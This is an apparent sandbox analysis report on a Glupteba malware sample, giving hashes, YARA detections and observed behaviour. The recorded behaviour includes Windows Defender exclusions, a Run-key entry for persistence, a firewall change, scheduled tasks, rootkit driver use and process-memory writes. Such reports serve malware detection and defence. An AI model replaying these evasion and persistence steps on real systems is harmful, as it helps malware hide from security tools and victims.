Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
300s -
max time network
302s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
01/05/2024, 23:27
Static task
static1
Behavioral task
behavioral1
Sample
92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe
Resource
win7-20240220-en
General
-
Target
92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe
-
Size
4.2MB
-
MD5
0a89ee182c830a447da5a308eae61c90
-
SHA1
6bad2034ebea0495bf532ce27a2701e7aff25d44
-
SHA256
92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642
-
SHA512
2624876446a9ba7049ed23d160087a54a5ad74185820ff609288f89d4a1cf62db72900bddebe0ff78b3511276f82e28a3d2ae96926dfe8213768d2999b235904
-
SSDEEP
98304:y2m5eOYCD1ID98VF2Kih+6YxfniOeVNR3JpIP6GA7sf3HgV11GHR:y2m5BYCDY8uVjYxfniXVNFJ2yR7sfQVg
Malware Config
Signatures
-
Glupteba payload 32 IoCs
resource yara_rule behavioral2/memory/4760-2-0x0000000006420000-0x0000000006D0B000-memory.dmp family_glupteba behavioral2/memory/4760-3-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4760-301-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4760-302-0x0000000006420000-0x0000000006D0B000-memory.dmp family_glupteba behavioral2/memory/4760-299-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/4832-1020-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1739-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1748-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1750-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1752-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1754-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1756-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1758-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1760-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1762-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1764-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1766-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1768-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1770-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1772-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1774-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1776-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1778-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1780-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1782-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-1784-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2515-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2518-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2522-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2527-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2530-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba behavioral2/memory/3900-2534-0x0000000000400000-0x0000000004420000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3420 netsh.exe -
Executes dropped EXE 7 IoCs
pid Process 3900 csrss.exe 3372 injector.exe 832 windefender.exe 4600 windefender.exe 1324 dcb505dc2b9d8aac05f4ca0727f5eadb.exe 32 713674d5e968cbe2102394be0b2bae6f.exe 3540 1bf850b4d9587c1017a75a47680584c4.exe -
resource yara_rule behavioral2/files/0x000800000001ac2b-1742.dat upx behavioral2/memory/832-1743-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4600-1746-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/832-1747-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4600-1749-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4600-1753-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4600-1759-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000b00000001ac2c-2028.dat upx behavioral2/memory/1324-2027-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/files/0x000b00000001ac2c-2026.dat upx behavioral2/memory/1324-2032-0x0000000000400000-0x00000000008E1000-memory.dmp upx behavioral2/memory/32-2270-0x0000000000E30000-0x00000000016FD000-memory.dmp upx behavioral2/files/0x000900000001ac2d-2269.dat upx behavioral2/memory/3540-2514-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/files/0x000900000001ac2e-2513.dat upx behavioral2/memory/32-2517-0x0000000000E30000-0x00000000016FD000-memory.dmp upx behavioral2/memory/3540-2519-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/3540-2523-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/3540-2526-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/32-2525-0x0000000000E30000-0x00000000016FD000-memory.dmp upx behavioral2/memory/32-2529-0x0000000000E30000-0x00000000016FD000-memory.dmp upx behavioral2/memory/3540-2531-0x0000000000400000-0x00000000008E8000-memory.dmp upx behavioral2/memory/3540-2535-0x0000000000400000-0x00000000008E8000-memory.dmp upx -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\rss 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe File created C:\Windows\rss\csrss.exe 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5020 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3556 schtasks.exe 4628 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2612 = "Bougainville Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2752 = "Tomsk Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1862 = "Russia TZ 6 Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1661 = "Bahia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-562 = "SE Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-162 = "Central Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2342 = "Haiti Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2751 = "Tomsk Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4248 powershell.exe 4248 powershell.exe 4248 powershell.exe 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4792 powershell.exe 4792 powershell.exe 4792 powershell.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 5036 powershell.exe 5036 powershell.exe 5036 powershell.exe 4368 powershell.exe 4368 powershell.exe 4368 powershell.exe 1792 powershell.exe 1792 powershell.exe 1792 powershell.exe 4148 powershell.exe 4148 powershell.exe 4148 powershell.exe 2964 powershell.exe 2964 powershell.exe 2964 powershell.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3900 csrss.exe 3900 csrss.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3900 csrss.exe 3900 csrss.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3900 csrss.exe 3900 csrss.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe 3372 injector.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 4248 powershell.exe Token: SeDebugPrivilege 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Token: SeImpersonatePrivilege 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe Token: SeDebugPrivilege 4792 powershell.exe Token: SeDebugPrivilege 5036 powershell.exe Token: SeDebugPrivilege 4368 powershell.exe Token: SeDebugPrivilege 1792 powershell.exe Token: SeDebugPrivilege 4148 powershell.exe Token: SeDebugPrivilege 2964 powershell.exe Token: SeSystemEnvironmentPrivilege 3900 csrss.exe Token: SeSecurityPrivilege 5020 sc.exe Token: SeSecurityPrivilege 5020 sc.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeDebugPrivilege 2748 powershell.exe Token: SeDebugPrivilege 4360 powershell.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 4760 wrote to memory of 4248 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 74 PID 4760 wrote to memory of 4248 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 74 PID 4760 wrote to memory of 4248 4760 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 74 PID 4832 wrote to memory of 4792 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 79 PID 4832 wrote to memory of 4792 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 79 PID 4832 wrote to memory of 4792 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 79 PID 4832 wrote to memory of 3212 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 81 PID 4832 wrote to memory of 3212 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 81 PID 3212 wrote to memory of 3420 3212 cmd.exe 83 PID 3212 wrote to memory of 3420 3212 cmd.exe 83 PID 4832 wrote to memory of 5036 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 84 PID 4832 wrote to memory of 5036 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 84 PID 4832 wrote to memory of 5036 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 84 PID 4832 wrote to memory of 4368 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 86 PID 4832 wrote to memory of 4368 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 86 PID 4832 wrote to memory of 4368 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 86 PID 4832 wrote to memory of 3900 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 88 PID 4832 wrote to memory of 3900 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 88 PID 4832 wrote to memory of 3900 4832 92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe 88 PID 3900 wrote to memory of 1792 3900 csrss.exe 89 PID 3900 wrote to memory of 1792 3900 csrss.exe 89 PID 3900 wrote to memory of 1792 3900 csrss.exe 89 PID 3900 wrote to memory of 4148 3900 csrss.exe 96 PID 3900 wrote to memory of 4148 3900 csrss.exe 96 PID 3900 wrote to memory of 4148 3900 csrss.exe 96 PID 3900 wrote to memory of 2964 3900 csrss.exe 98 PID 3900 wrote to memory of 2964 3900 csrss.exe 98 PID 3900 wrote to memory of 2964 3900 csrss.exe 98 PID 3900 wrote to memory of 3372 3900 csrss.exe 100 PID 3900 wrote to memory of 3372 3900 csrss.exe 100 PID 832 wrote to memory of 1520 832 windefender.exe 107 PID 832 wrote to memory of 1520 832 windefender.exe 107 PID 832 wrote to memory of 1520 832 windefender.exe 107 PID 1520 wrote to memory of 5020 1520 cmd.exe 108 PID 1520 wrote to memory of 5020 1520 cmd.exe 108 PID 1520 wrote to memory of 5020 1520 cmd.exe 108 PID 3900 wrote to memory of 1128 3900 csrss.exe 110 PID 3900 wrote to memory of 1128 3900 csrss.exe 110 PID 3900 wrote to memory of 1128 3900 csrss.exe 110 